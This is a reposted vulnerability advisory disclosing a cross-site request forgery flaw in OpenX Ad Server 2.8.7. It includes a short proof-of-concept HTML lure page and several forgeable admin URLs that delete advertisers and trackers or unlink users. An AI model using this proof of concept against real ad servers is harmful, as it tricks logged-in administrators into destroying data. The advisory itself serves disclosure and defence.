来源：自学PHP网 时间：2015-04-17 14:46 作者： 阅读:次
[导读] Title: OpenX Ad Server CSRF VulnerabilityProduct: OpenX Ad ServerVulnerable version: 2.8.7 and probably earlier versionsFixed version: N/AImpact: HighHomepage: http://www.openx......
|
Title: OpenX Ad Server CSRF Vulnerability Product: OpenX Ad Server Vulnerable version: 2.8.7 and probably earlier versions Fixed version: N/A Impact: High Homepage: http://www.openx.org/ 测试平台: Ubuntu 11.04 By: Narendra Shinde =======================================================================
Vendor description: ------------------- OpenX is the world�s leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.
OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide
Source: http://www.openx.org/about/facts
Vulnerability Information: ------------------------- Class: Cross-Site Request Forgery (CSRF) [CWE-352] Impact: Unintentional changes in application. Remotely Exploitable: Yes Authentication Required: No User interaction Required : Yes
问题描述: ----------------------------------- The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.Attacker can modify application data.
Proof of concept: ----------------- Code:
<html> <body> <h1> Check This new Snap </h1> <a href=�http://www.2cto.com /www/admin/advertiser-delete.php?clientid=2> Check This </a> </body> </html>
The following URL could be used to perform CSRF attacks:
http://www.2cto.com /www/admin/advertiser-delete.php?clientid=[valid-id]
http://www.2cto.com /www/admin/advertiser-user-unlink.php?userid=[valid-id]&clientid[valid-id]
http://www.2cto.com /www/admin/tracker-delete.php?clientid[valid-id]&trackerid[valid-id]
Workaround: ----------- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
Timeline: Discovered: 7/7/2011 Contacted vendor : No response Again Contacted Vendor: 19/7/2011 NO Respoonse Public Disclosure :24/7/2011
Thanks & Regards, Narendra.
Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
